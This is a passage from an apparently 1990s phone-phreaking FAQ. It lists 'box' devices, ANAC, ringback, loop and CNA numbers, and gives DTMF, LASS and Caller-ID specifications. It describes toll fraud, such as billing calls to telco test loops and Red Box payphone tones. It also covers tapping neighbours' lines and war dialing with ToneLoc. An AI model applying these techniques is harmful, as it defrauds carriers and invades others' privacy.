Pink Create a party line from 2 phone lines
Purple Telephone hold button
Rainbow Kill a trace by putting 120v into the phone line (joke)
Razz Tap into your neighbors phone
Red Make free phone calls from pay phones by generating
quarter tones
Rock Add music to your phone line
Scarlet Cause a neighbors phone line to have poor reception
Silver Create the DTMF tones for A, B, C and D
Static Keep the voltage on a phone line high
Switch Add hold, indicator lights, conferencing, etc..
Tan Line activated telephone recorder
Tron Reverse the phase of power to your house, causing your
electric meter to run slower
TV Cable "See" sound waves on your TV
Urine Create a capacitative disturbance between the ring and
tip wires in another's telephone headset
Violet Keep a payphone from hanging up
White Portable DTMF keypad
Yellow Add an extension phone
Box schematics may be retrieved from these FTP sites:
ftp.netcom.com /pub/br/bradleym
ftp.netcom.com /pub/va/vandal
ftp.winternet.com /users/craigb
10. What is an ANAC number?
An ANAC (Automatic Number Announcement Circuit) number is a telephone
number that plays back the number of the telephone that called it.
ANAC numbers are convenient if you want to know the telephone number
of a pair of wires.
11. What is the ANAC number for my area?
How to find your ANAC number:
Look up your NPA (Area Code) and try the number listed for it. If that
fails, try 1 plus the number listed for it. If that fails, try the
common numbers like 311, 958 and 200-222-2222. If you find the ANAC
number for your area, please let us know.
Note that many times the ANAC number will vary for different switches
in the same city. The geographic naming on the list is NOT intended
to be an accurate reference for coverage patterns, it is for
convenience only.
Many companies operate 800 number services which will read back to you
the number from which you are calling. Many of these require
navigating a series of menus to get the phone number you are looking
for.
(800)238-4959 A voice mail system
(800)328-2630 A phone sex line
(800)568-3197 Info Access Telephone Company's Automated Blocking Line
(800)571-8859 A phone sex line
(800)692-6447 (800)MY-ANI-IS
N (800)455-3256 Unknown
An non-800 ANAC that works nationwide is 404-988-9664. The one catch
with this number is that it must be dialed with the AT&T Carrier
Access Code 10732.
Another non-800 nationwide ANAC is Glen Robert of Full Disclosure
Magazine's number, 10555-1-708-356-9646.
Please use local ANAC numbers if you can, as abuse or overuse kills
800 ANAC numbers.
NPA ANAC number Geographic area
--- --------------- ---------------------------------------------
201 958 Hackensack/Jersey City/Newark/Paterson, NJ
202 811 District of Columbia
203 970 CT
N 205 300-222-2222 Birmingham, AL
N 205 300-555-5555 Many small towns in AL
N 205 300-648-1111 Dora, AL
N 205 300-765-4321 Bessemer, AL
N 205 300-798-1111 Forestdale, AL
N 205 300-833-3333 Birmingham
N 205 557-2311 Birmingham, AL
N 205 811 Pell City/Cropwell/Lincoln, AL
N 205 841-1111 Tarrant, AL
205 908-222-2222 Birmingham, AL
206 411 WA (Not US West)
207 958 ME
209 830-2121 Stockton, CA
209 211-9779 Stockton, CA
212 958 Manhattan, NY
U 213 114 Los Angeles, CA (GTE)
213 1223 Los Angeles, CA (Some 1AESS switches)
213 211-2345 Los Angeles, CA (English response)
213 211-2346 Los Angeles, CA (DTMF response)
N 213 760-2??? Los Angeles, CA (DMS switches)
213 61056 Los Angeles, CA
214 570 Dallas, TX
214 790 Dallas, TX (GTE)
214 970-222-2222 Dallas, TX
214 970-611-1111 Dallas, TX (Southwestern Bell)
215 410-xxxx Philadelphia, PA
215 511 Philadelphia, PA
215 958 Philadelphia, PA
N 216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH
N 216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH
217 200-xxx-xxxx Champaign-Urbana/Springfield, IL
219 550 Gary/Hammond/Michigan City/Southbend, IN
219 559 Gary/Hammond/Michigan City/Southbend, IN
301 958-9968 Hagerstown/Rockville, MD
310 114 Long Beach, CA (On many GTE switches)
310 1223 Long Beach, CA (Some 1AESS switches)
310 211-2345 Long Beach, CA (English response)
310 211-2346 Long Beach, CA (DTMF response)
312 200 Chicago, IL
312 290 Chicago, IL
312 1-200-8825 Chicago, IL (Last four change rapidly)
312 1-200-555-1212 Chicago, IL
313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI
313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI
313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI
313 200200200200200 Ann Arbor/Dearborn/Detroit, MI
314 410-xxxx# Columbia/Jefferson City/St.Louis, MO
315 953 Syracuse/Utica, NY
315 958 Syracuse/Utica, NY
315 998 Syracuse/Utica, NY
317 310-222-2222 Indianapolis/Kokomo, IN
317 559-222-2222 Indianapolis/Kokomo, IN
317 743-1218 Indianapolis/Kokomo, IN
401 200-200-4444 RI
401 222-2222 RI
402 311 Lincoln, NE
404 311 Atlanta, GA
404 940-xxx-xxxx Atlanta, GA
404 990 Atlanta, GA
405 890-7777777 Enid/Oklahoma City, OK
405 897 Enid/Oklahoma City, OK
407 200-222-2222 Orlando/West Palm Beach, FL
408 300-xxx-xxxx San Jose, CA
408 760 San Jose, CA
408 940 San Jose, CA
409 951 Beaumont/Galveston, TX
409 970-xxxx Beaumont/Galveston, TX
410 200-6969 A
410 200-555-1212 A
410 811 Annapolis/Baltimore, MD
412 711-6633 Pittsburgh, PA
412 711-4411 Pittsburgh, PA
412 999-xxxx Pittsburgh, PA
413 958 Pittsfield/Springfield, MA
413 200-555-5555 Pittsfield/Springfield, MA
414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 200-555-1212 San Francisco, CA
415 211-2111 San Francisco, CA
415 2222 San Francisco, CA
415 640 San Francisco, CA
415 760-2878 San Francisco, CA
415 7600-2222 San Francisco, CA
419 311 Toledo, OH
502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY
502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY
503 611 Portland, OR
503 999 Portland, OR (GTE)
504 99882233 Baton Rouge/New Orleans, LA
504 201-269-1111 Baton Rouge/New Orleans, LA
504 998 Baton Rouge/New Orleans, LA
504 99851-0000000000 Baton Rouge/New Orleans, LA
508 958 Fall River/New Bedford/Worchester, MA
508 200-222-1234 Fall River/New Bedford/Worchester, MA
508 200-222-2222 Fall River/New Bedford/Worchester, MA
508 26011 Fall River/New Bedford/Worchester, MA
509 560 Spokane/Walla Walla/Yakima, WA
512 830 Austin/Corpus Christi, TX
512 970-xxxx Austin/Corpus Christi, TX
515 5463 Des Moines, IA
515 811 Des Moines, IA
516 958 Hempstead/Long Island, NY
516 968 Hempstead/Long Island, NY
517 200-222-2222 Bay City/Jackson/Lansing, MI
517 200200200200200 Bay City/Jackson/Lansing, MI
518 997 Albany/Schenectady/Troy, NY
518 998 Albany/Schenectady/Troy, NY
603 200-222-2222 NH
606 997-555-1212 Ashland/Winchester, KY
606 711 Ashland/Winchester, KY
607 993 Binghamton/Elmira, NY
609 958 Atlantic City/Camden/Trenton/Vineland, NJ
610 958 Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
N 614 200 Columbus/Steubenville, OH
N 614 571 Columbus/Steubenville, OH
615 200200200200200 Chatanooga/Knoxville/Nashville, TN
615 2002222222 Chatanooga/Knoxville/Nashville, TN
615 830 Nashville, TN
616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI
617 200-222-1234 Boston, MA
617 200-222-2222 Boston, MA
617 200-444-4444 Boston, MA (Woburn, MA)
617 220-2622 Boston, MA
617 958 Boston, MA
618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL
618 930 Alton/Cairo/Mt.Vernon, IL
619 211-2001 San Diego, CA
703 811 Alexandria/Arlington/Roanoke, VA
N 704 311 Asheville/Charlotte, NC
708 1-200-555-1212 Chicago/Elgin, IL
708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly)
N 708 200-6153 Chicago/Elgin, IL
N 708 724-9951 Chicago/Elgin, IL
N 708 356-9646 Chicago/Elgin, IL
N 713 380 Houston, TX
713 970-xxxx Houston, TX
N 713 811 Humble, TX
714 114 Anaheim, CA (GTE)
714 211-2121 Anaheim, CA (PacBell)
714 211-2222 Anaheim, CA (Pacbell)
716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
N 716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
717 958 Harrisburg/Scranton/Wilkes-Barre, PA
718 958 Bronx/Brooklyn/Queens/Staten Island, NY
802 2-222-222-2222 Vermont
802 200-222-2222 Vermont
802 1-700-222-2222 Vermont
802 111-2222 Vermont
N 805 114 Bakersfield/Santa Barbara, CA
805 211-2345 Bakersfield/Santa Barbara, CA
805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF)
805 830 Bakersfield/Santa Barbara, CA
806 970-xxxx Amarillo/Lubbock, TX
810 200200200200200 Flint/Pontiac/Southfield/Troy, MI
812 410-555-1212 Evansville, IN
813 311 Ft. Meyers/St. Petersburg/Tampa, FL
815 200-xxx-xxxx La Salle/Rockford, IL
815 290 La Salle/Rockford, IL
817 211 Ft. Worth/Waco, TX
817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell)
818 1223 Pasadena, CA (Some 1AESS switches)
818 211-2345 Pasadena, CA (English response)
818 211-2346 Pasadena, CA (DTMF response)
N 903 970-611-1111 Denison, TX
906 1-200-222-2222 Marquette/Sault Ste. Marie, MI
908 958 New Brunswick, NJ
910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915 970-xxxx Abilene/El Paso, TX
N 916 211-2222 Sacramento, CA (Pac Bell)
N 916 461 Sacramento, CA (Roseville Telepohone)
919 200 Durham, NC
919 711 Durham, NC
Canada:
204 644-xxxx Manitoba
306 115 Saskatchewan, Canada
403 311 Alberta, Yukon and N.W. Territory
403 908-222-2222 Alberta, Yukon and N.W. Territory
403 999 Alberta, Yukon and N.W. Territory
416 997-xxxx Toronto, Ontario
N 506 1-555-1313 New Brunswick
514 320-xxxx Montreal, Quebec
519 320-xxxx London, Ontario
604 1116 British Columbia, Canada
604 1211 British Columbia, Canada
604 211 British Columbia, Canada
613 320-2232 Ottawa, Ontario
705 320-4567 North Bay/Saulte Ste. Marie, Ontario
Australia:
+61 03-552-4111 Victoria 03 area
+612 19123 All major capital cities
United Kingdom:
175
12. What is a ringback number?
A ringback number is a number that you call that will immediately
ring the telephone from which it was called.
In most instances you must call the ringback number, quickly hang up
the phone for just a short moment and then let up on the switch, you
will then go back off hook and hear a different tone. You may then
hang up. You will be called back seconds later.
13. What is the ringback number for my area?
An 'x' means insert those numbers from the phone number from which you
are calling. A '?' means that the number varies from switch to switch
in the area, or changes from time to time. Try all possible
combinations.
If the ringback for your NPA is not listed, try common ones such as
954, 957 and 958. Also, try using the numbers listed for other NPA's
served by your telephone company.
NPA Ringback number Geographic area
--- --------------- ---------------------------------------------
201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ
202 958-xxxx District of Columbia
U 203 99?-xxxx CT
N 208 99xxx-xxxx ID
213 1-95x-xxxx Los Angeles, CA
N 216 551-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH
219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
301 579-xxxx Hagerstown/Rockville, MD
301 958-xxxx Hagerstown/Rockville, MD
303 99X-xxxx Grand Junction, CO
304 998-xxxx WV
305 999-xxxx Ft. Lauderdale/Key West/Miami, FL
312 511-xxxx Chicago, IL
312 511-xxx-xxxx Chicago, IL
312 57?-xxxx Chicago, IL
315 98x-xxxx Syracuse/Utica, NY
317 777-xxxx Indianapolis/Kokomo, IN
317 yyy-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number)
319 79x-xxxx Davenport/Dubuque, Iowa
401 98?-xxxx RI
404 450-xxxx Atlanta, GA
407 988-xxxx Orlando/West Palm Beach, FL
412 985-xxxx Pittsburgh, PA
414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 350-xxxx San Francisco, CA
417 551-xxxx Joplin/Springfield, MO
N 501 221-xxx-xxxx AR
501 721-xxx-xxxx AR
502 988 Frankfort/Louisville/Paducah/Shelbyville, KY
N 503 541-XXXX OR
504 99x-xxxx Baton Rouge/New Orleans, LA
504 9988776655 Baton Rouge/New Orleans, LA
505 59?-xxxx New Mexico
512 95X-xxxx Austin, TX
513 99?-xxxx Cincinnati/Dayton, OH
N 513 955-xxxx Cincinnati/Dayton, OH
516 660-xxx-xxxx Hempstead/Long Island, NY
601 777-xxxx MS
609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ
612 511 Minneapolis/St.Paul, MN
612 999-xxx-xxxx Minneapolis/St.Paul, MN
N 614 998-xxxx Columbus/Steubenville, OH
615 930-xxxx Chatanooga/Knoxville/Nashville, TN
616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI
619 331-xxxx San Diego, CA
619 332-xxxx San Diego, CA
703 958-xxxx Alexandria/Arlington/Roanoke, VA
N 708 511-xxxx Chicago/Elgin, IL
714 330? Anaheim, CA (GTE)
714 33?-xxxx Anaheim, CA (PacBell)
716 981-xxxx Rochester, NY (Rochester Tel)
N 718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY
719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO
801 938-xxxx Utah
801 939-xxxx Utah
N 802 987-xxxx Vermont
804 260 Charlottesville/Newport News/Norfolk/Richmond, VA
805 114 Bakersfield/Santa Barbara, CA
805 980-xxxx Bakersfield/Santa Barbara, CA
810 951-xxx-xxxx Pontiac/Southfield/Troy, MI
813 711 Ft. Meyers/St. Petersburg/Tampa, FL
U 817 971 Ft. Worth/Waco, TX (Flashhook, then 2#)
906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI
908 55?-xxxx New Brunswick, NJ
908 953 New Brunswick, NJ
N 913 951-xxxx Lawrence/Salina/Topeka, KS
914 660-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY
Canada:
416 57x-xxxx Toronto, Ontario
416 99x-xxxx Toronto, Ontario
416 999-xxx-xxxx Toronto, Ontario
N 506 572+xxx-xxxx New Brunswick
514 320-xxx-xxxx Montreal, Quebec
613 999-xxx-xxxx Ottawa, Ontario
705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario
Australia: +61 199
U Brazil: 109 or 199
New Zealand: 137
Sweden: 0058
United Kingdom: 174 or 1744 or 175 or 0500-89-0011
14. What is a loop?
This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
by Minor Threat & Mucho Maas
Loops are a pair of phone numbers, usually consecutive, like 836-9998
and 836-9999. They are used by the phone company for testing. What
good do loops do us? Well, they are cool in a few ways. Here is a
simple use of loops. Each loop has two ends, a 'high' end, and a
'low' end. One end gives a (usually) constant, loud tone when it is
called. The other end is silent. Loops don't usually ring either.
When BOTH ends are called, the people that called each end can talk
through the loop. Some loops are voice filtered and won't pass
anything but a constant tone; these aren't much use to you. Here's
what you can use working loops for: billing phone calls! First, call
the end that gives the loud tone. Then if the operator or someone
calls the other end, the tone will go quiet. Act like the phone just
rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or
what the fuck ever. The operator thinks that she just called you, and
that's it! Now the phone bill will go to the loop, and your local
RBOC will get the bill! Use this technique in moderation, or the loop
may go down. Loops are probably most useful when you want to talk to
someone to whom you don't want to give your phone number.
15. What is a loop in my area?
Many of these loops are no longer functional. If you are local
to any of these loops, please try them out an e-mail me the results
of your research.
NPA High Low
--- -------- --------
201 879-9929 879-9930
201 347-9929 347-9930
206 827-0018 827-0019
206 988-0020 988-0022
208 862-9996 862-9997
209 732-0044 732-0045
201 666-9929 666-9930
N 210 993-9929 993-9930
N 210 330-9929 330-9930
N 210 333-9929 333-9930
N 210 376-9929 376-9930
N 210 467-9929 467-9930
212 220-9977 220-9979
212 283-9977 283-9979
212 283-9977 283-9997
212 352-9900 352-9906
212 365-9977 365-9979
212 529-9900 529-9906
212 562-9977 562-9979
212 986-9977 986-9979
213 360-1118 360-1119
213 365-1118 365-1119
213 455-0002 455-XXXX
213 455-0002 455-xxxx
213 546-0002 546-XXXX
213 546-0002 546-xxxx
213 549-1118 549-1119
214 291-4759 291-4757
214 299-4759 299-4757
305 778-9952 778-9951
305 964-9951 964-9952
307 468-9999 468-9998
308 357-0004 357-0005
N 310 365-1118 365-1119
N 310 445-0002 445-????
N 310 455-0002 455-????
N 310 545-0002 545-????
N 310 546-0002 546-????
N 312 262-9902 262-9903
313 224-9996 224-9997
313 225-9996 225-9997
313 234-9996 234-9997
313 237-9996 237-9997
313 256-9996 256-9997
313 272-9996 272-9997
313 273-9996 273-9997
313 277-9996 277-9997
313 281-9996 281-9997
313 292-9996 292-9997
313 299-9996 299-9997
313 321-9996 321-9997
313 326-9996 326-9997
313 356-9996 356-9997
313 362-9996 362-9997
313 369-9996 369-9997
313 388-9996 388-9997
313 397-9996 397-9997
313 399-9996 399-9997
313 445-9996 445-9997
313 465-9996 465-9997
313 471-9996 471-9997
313 474-9996 474-9997
313 477-9996 477-9997
313 478-9996 478-9997
313 483-9996 483-9997
313 497-9996 497-9997
313 526-9996 526-9997
313 552-9996 552-9997
313 556-9996 556-9997
313 561-9996 561-9997
313 569-9996 569-9996
313 575-9996 575-9997
313 577-9996 577-9997
313 585-9996 585-9997
313 591-9996 591-9997
313 621-9996 621-9997
313 626-9996 626-9997
313 644-9996 644-9997
313 646-9996 646-9997
313 647-9996 647-9997
313 649-9996 649-9997
313 663-9996 663-9997
313 665-9996 665-9997
313 683-9996 683-9997
313 721-9996 721-9997
313 722-9996 722-9997
313 728-9996 728-9997
313 731-9996 731-9997
313 751-9996 751-9997
313 776-9996 776-9997
313 781-9996 781-9997
313 787-9996 787-9997
313 822-9996 822-9997
313 833-9996 833-9997
313 851-9996 851-9997
313 871-9996 871-9997
313 875-9996 875-9997
313 886-9996 886-9997
313 888-9996 888-9997
313 898-9996 898-9997
313 934-9996 934-9997
313 942-9996 942-9997
313 963-9996 963-9997
313 977-9996 977-9997
315 673-9995 673-9996
315 695-9995 695-9996
402 422-0001 422-0002
402 422-0003 422-0004
402 422-0005 422-0006
402 422-0007 422-0008
402 572-0003 572-0004
402 779-0004 779-0007
406 225-9902 225-9903
517 422-9996 422-9997
517 423-9996 423-9997
517 455-9996 455-9997
517 563-9996 563-9997
517 663-9996 663-9997
517 851-9996 851-9997
609 921-9929 921-9930
609 994-9929 994-9930
616 997-9996 997-9997
N 708 724-9951 724-????
713 224-1499 759-1799
713 324-1499 324-1799
713 342-1499 342-1799
713 351-1499 351-1799
713 354-1499 354-1799
713 356-1499 356-1799
713 442-1499 442-1799
713 447-1499 447-1799
713 455-1499 455-1799
713 458-1499 458-1799
713 462-1499 462-1799
713 466-1499 466-1799
713 468-1499 468-1799
713 469-1499 469-1799
713 471-1499 471-1799
713 481-1499 481-1799
713 482-1499 482-1799
713 484-1499 484-1799
713 487-1499 487-1799
713 489-1499 489-1799
713 492-1499 492-1799
713 493-1499 493-1799
713 524-1499 524-1799
713 526-1499 526-1799
713 555-1499 555-1799
713 661-1499 661-1799
713 664-1499 664-1799
713 665-1499 665-1799
713 666-1499 666-1799
713 667-1499 667-1799
713 682-1499 976-1799
713 771-1499 771-1799
713 780-1499 780-1799
713 781-1499 997-1799
713 960-1499 960-1799
713 977-1499 977-1799
713 988-1499 988-1799
805 528-0044 528-0045
805 544-0044 544-0045
805 773-0044 773-0045
808 235-9907 235-9908
808 239-9907 239-9908
808 245-9907 245-9908
808 247-9907 247-9908
808 261-9907 261-9908
808 322-9907 322-9908
808 328-9907 328-9908
808 329-9907 329-9908
808 332-9907 332-9908
808 335-9907 335-9908
808 572-9907 572-9908
808 623-9907 623-9908
808 624-9907 624-9908
808 668-9907 668-9908
808 742-9907 742-9908
808 879-9907 879-9908
808 882-9907 882-9908
808 885-9907 885-9908
808 959-9907 959-9908
808 961-9907 961-9908
810 362-9996 362-9997
813 385-9971 385-xxxx
N 908 254-9929 254-9930
N 908 558-9929 558-9930
N 908 560-9929 560-9930
908 776-9930 776-9930
16. What is a CNA number?
CNA stands for Customer Name and Address. The CNA number is a phone
number for telephone company personnel to call and get the name and
address for a phone number. If a telephone lineman finds a phone line
he does not recognize, he can use the ANI number to find its phone
number and then call the CNA operator to see who owns it and where
they live.
Normal CNA numbers are available only to telephone company personnel.
Private citizens may legally get CNA information from private
companies. Two such companies are:
Unidirectory (900)933-3330
Telename (900)884-1212
Note that these are 900 numbers, and will cost you approximately one
dollar per minute.
If you are in 312 or 708, AmeriTech has a pay-for-play CNA service
available to the general public. The number is 796-9600. The cost is
$.35/call and can look up two numbers per call.
If you are in 415, Pacific Bell offers a public access CNA service at
(415)781-5271.
17. What is the telephone company CNA number for my area?
203 (203)771-8080 CT
513 (513)397-9110 Cincinnati/Dayton, OH
516 (516)321-5700 Hempstead/Long Island, NY
N 518 (518)471-8111 Albany/Schenectady/Troy, NY
614 (614)464-0123 Columbus/Steubenville, OH
813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL
18. What are some numbers that always ring busy?
216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH
N 303 431-0000 Denver, CO
N 303 866-8660 Denver, CO
316 952-7265 Dodge City/Wichita, KS
501 377-99xx AR
719 472-3773 Colorado Springs/Leadville/Pueblo, CO
805 255-0699 Bakersfield/Santa Barbara, CA
818 885-0699 Pasadena, CA
906 632-9999 Marquette/Sault Ste. Marie, MI
906 635-9999 Marquette/Sault Ste. Marie, MI
914 576-9903 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
19. What are some numbers that temporarily disconnect phone service?
314 511 Columbia/Jefferson City/St.Louis, MO (1 minute)
404 420 Atlanta, GA (5 minutes)
405 953 Enid/Oklahoma City, OK (1 minute)
407 511 Orlando/West Palm Beach, FL (1 minute)
512 200 Austin/Corpus Christi, TX (1 minute)
516 480 Hempstead/Long Island, NY (1 minute)
603 980 NH
N 614 xxx-9894 Columbus/Steubenville, OH
N 805 119 Bakersfield/Santa Barbara, CA (3 minutes)
919 211 or 511 Durham, NC (10 min - 1 hour)
20. What is scanning?
Scanning is dialing a large number of telephone numbers in the hope
of finding interesting carriers (computers) or tones.
Scanning can be done by hand, although dialing several thousand
telephone numbers by hand is extremely boring and takes a long time.
Much better is to use a scanning program, sometimes called a war
dialer or a demon dialer. Currently, the best war dialer available to
PC-DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can
be ftp'd from ftp.paranoia.com /pub/toneloc/.
A war dialer will dial a range of numbers and log what it finds at
each number. You can then only dial up the numbers that the war
dialer marked as carriers or tones.
21. Is scanning illegal?
Excerpt from: 2600, Spring 1990, Page 27:
-BQ-
In some places, scanning has been made illegal. It would be hard,
though, for someone to file a complaint against you for scanning since
the whole purpose is to call every number once and only once. It's
not likely to be thought of as harassment by anyone who gets a single
phone call from a scanning computer. Some central offices have been
known to react strangely when people start scanning. Sometimes you're
unable to get a dialtone for hours after you start scanning. But
there is no uniform policy. The best thing to do is to first find out
if you've got some crazy law saying you can't do it. If, as is
likely, there is no such law, the only way to find out what happens is
to give it a try.
-EQ-
It should be noted that a law making scanning illegal was recently
passed in Colorado Springs, CO. It is now illegal to place a call
in Colorado Springs without the intent to communicate.
22. Where can I purchase a lineman's handset?
Contact East
335 Willow Street
North Andover, MA 01845-5995
(508)682-2000
Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399
Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064
(619)679-0303
23. What are the DTMF frequencies?
DTMF stands for Dual Tone Multi Frequency. These are the tones you
get when you press a key on your telephone touchpad. The tone of the
button is the sum of the column and row tones. The ABCD keys do not
exist on standard telephones.
1209 1336 1477 1633
697 1 2 3 A
770 4 5 6 B
852 7 8 9 C
941 * 0 # D
24. What are the frequencies of the telephone tones?
Type Hz On Off
---------------------------------------------------------------------
Dial Tone 350 & 400 --- ---
Busy Signal 480 & 620 0.5 0.5
Toll Congestion 480 & 620 0.2 0.3
Ringback (Normal) 440 & 480 2.0 4.0
Ringback (PBX) 440 & 480 1.5 4.5
Reorder (Local) 480 & 620 3.0 2.0
Invalid Number 200 & 400
Hang Up Warning 1400 & 2060 0.1 0.1
Hang Up 2450 & 2600 --- ---
25. What are all of the * (LASS) codes?
Local Area Signalling Services (LASS) and Custom Calling Feature
Control Codes:
(These appear to be standard, but may be changed locally)
Service Tone Pulse/rotary Notes
--------------------------------------------------------------------------
Assistance/Police *12 n/a [1]
Cancel forwarding *30 n/a [C1]
Automatic Forwarding *31 n/a [C1]
Notify *32 n/a [C1] [2]
Intercom Ring 1 (..) *51 1151 [3]
Intercom Ring 2 (.._) *52 1152 [3]
Intercom Ring 3 (._.) *53 1153 [3]
Extension Hold *54 1154 [3]
Customer Originated Trace *57 1157
Selective Call Rejection *60 1160 (or Call Screen)
Selective Distinct Alert *61 1161
Selective Call Acceptance *62 1162
Selective Call Forwarding *63 1163
ICLID Activation *65 1165
Call Return (outgoing) *66 1166
Number Display Blocking *67 1167 [4]
Computer Access Restriction *68 1168
Call Return (incoming) *69 1169
Call Waiting disable *70 1170 [4]
No Answer Call Transfer *71 1171
Usage Sensitive 3 way call *71 1171
Call Forwarding: start *72 or 72# 1172
Call Forwarding: cancel *73 or 73# 1173
Speed Calling (8 numbers) *74 or 74# 1174
Speed Calling (30 numbers) *75 or 75# 1175
Anonymous Call Rejection *77 1177 [5] [M: *58]
Call Screen Disable *80 1160 (or Call Screen) [M: *50]
Selective Distinct Disable *81 1161 [M: *51]
Select. Acceptance Disable *82 1162
Select. Forwarding Disable *83 1163 [M: *53]
ICLID Disable *85 1165
Call Return (cancel out) *86 1186 [6] [M: *56]
Anon. Call Reject (cancel) *87 1187 [5] [M: *68]
Call Return (cancel in) *89 1189 [6] [M: *59]
Notes:
[C1] - Means code used for Cellular One service
[1] - for cellular in Pittsburgh, PA A/C 412 in some areas
[2] - indicates that you are not local and maybe how to reach you
[3] - found in Pac Bell territory; Intercom ring causes a distinctive
ring to be generated on the current line; Hold keeps a call
connected until another extension is picked up
[4] - applied once before each call
[5] - A.C.R. blocks calls from those who blocked Caller ID
(used in C&P territory, for instance)
[6] - cancels further return attempts
[M: *xx] - alternate code used for MLVP (multi-line variety package)
by Bellcore. It goes by different names in different RBOCs.
In Bellsouth it is called Prestige. It is an arrangement of
ESSEX like features for single or small multiple line groups.
The reason for different codes for some features in MLVP is that
call-pickup is *8 in MLVP so all *8x codes are reaasigned *5x
26. What frequencies do cordless phones operate on?
Here are the frequencies for the first generation 46/49mhz phones.
The new 900mhz cordless phones are not covered.
Channel Handset Transmit Base Transmit
------- ---------------- -------------
1 49.670mhz 46.610mhz
2 49.845 46.630
3 49.860 46.670
4 49.770 46.710
5 49.875 46.730
6 49.830 46.770
7 49.890 46.830
8 49.930 46.870
9 49.990 46.930
10 49.970 46.970
27. What is Caller-ID?
This FAQ answer is stolen from Rockewell:
Calling Number Delivery (CND), better known as Caller ID, is a
telephone service intended for residential and small business
customers. It allows the called Customer Premises Equipment (CPE) to
receive a calling party's directory number and the date and time of
the call during the first 4 second silent interval in the ringing
cycle.
Parameters
~~~~~~~~~~
The data signalling interface has the following characteristics:
Link Type: 2-wire, simplex
Transmission Scheme: Analog, phase-coherent FSK
Logical 1 (mark) 1200 +/- 12 Hz
Logical 0 (space) 2200 +/- 22 Hz
Transmission Rate: 1200 bps
Transmission Level: 13.5 +/- dBm into 900 ohm load
Protocol
~~~~~~~~
The protocol uses 8-bit data words (bytes), each bounded by a start
bit and a stop bit. The CND message uses the Single Data Message
format shown below.
| Channel | Carrier | Message | Message | Data | Checksum |
| Seizure | Signal | Type | Length | Word(s) | Word |
| Signal | | Word | Word | | |
Channel Siezure Signal
~~~~~~~~~~~~~~~~~~~~~~
The channel seizure is 30 continuous bytes of 55h (01010101) providing
a detectable alternating function to the CPE (i.e. the modem data
pump).
Carrier Signal
~~~~~~~~~~~~~~
The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to
condition the receiver for data.
Message Type Word
~~~~~~~~~~~~~~~~~
The message type word indicates the service and capability associated
with the data message. The message type word for CND is 04h
(00000100).
Message Length Word
~~~~~~~~~~~~~~~~~~~
The message length word specifies the total number of data words to
follow.
Data Words
~~~~~~~~~~
The data words are encoded in ASCII and represent the following
information:
o The first two words represent the month
o The next two words represent the day of the month
o The next two words represent the hour in local military time
o The next two words represent the minute after the hour
o The calling party's directory number is represented by the
remaining words in the data word field
If the calling party's directory number is not available to the
terminating central office, the data word field contains an ASCII "O".
If the calling party invokes the privacy capability, the data word
field contains an ASCII "P".
Checksum Word
~~~~~~~~~~~~~
The Checksum Word contains the twos complement of the modulo 256 sum
of the other words in the data message (i.e., message type, message
length, and data words). The receiving equipment may calculate the
modulo 256 sum of the received words and add this sum to the reveived
checksum word. A result of zero generally indicates that the message
was correctly received. Message retransmission is not supported.
Example CNS Single Data Message
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An example of a received CND message, beginning with the message type
word, follows:
04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51
04h= Calling number delivery information code (message type word)
12h= 18 decimal; Number of data words (date,time, and directory
number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
party's directory number
51h= Checksum Word
Data Access Arrangement (DAA) Requirements
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To receive CND information, the modem monitors the phone line between
the first and second ring bursts without causing the DAA to go off
hook in the conventional sense, which would inhibit the transmission
of CND by the local central office. A simple modification to an
existing DAA circuit easily accomplishes the task.
Modem Requirements
~~~~~~~~~~~~~~~~~~
Although the data signalling interface parameters match those of a
